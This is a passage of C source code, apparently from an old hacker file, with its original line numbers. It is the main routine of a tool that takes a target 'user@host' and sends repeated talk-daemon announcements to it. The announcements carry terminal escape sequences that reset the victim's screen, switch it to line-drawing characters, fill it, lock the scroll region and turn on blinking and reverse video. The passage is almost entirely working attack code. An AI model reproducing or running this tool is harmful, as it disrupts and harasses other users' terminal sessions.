  1747.   exit(5);
  1748.  }
  1749.   username = argv[1];
  1750.  if ( (hostname = (char *)strchr(username, '@')) == NULL )
  1751.   {
  1752.   puts("Invalid name.  ");
  1753.   exit(-1);
  1754.   }
  1755.         *hostname = '\0';
  1756.  hostname++;
  1757.  
  1758.  if (*username == '~')
  1759.   username++;
  1760.  
  1761. #define FIRST "\033c\033(0\033#8"
  1762. #define SECOND "\033[1;3r\033[J"
  1763. #define THIRD  "\033[5m\033[?5h"
  1764.  new_ANNOUNCE(hostname, username, FIRST);
  1765.  old_ANNOUNCE(hostname, username, FIRST);
  1766.  current++;
  1767.  new_ANNOUNCE(hostname, username, SECOND);
  1768.  new_ANNOUNCE(hostname, username, SECOND);
  1769.  current++;
  1770.  new_ANNOUNCE(hostname, username, THIRD);
  1771.   old_ANNOUNCE(hostname, username, THIRD);
  1772. }
  1773.  
  1774. ------------------------------------------------------------------------------
  1775.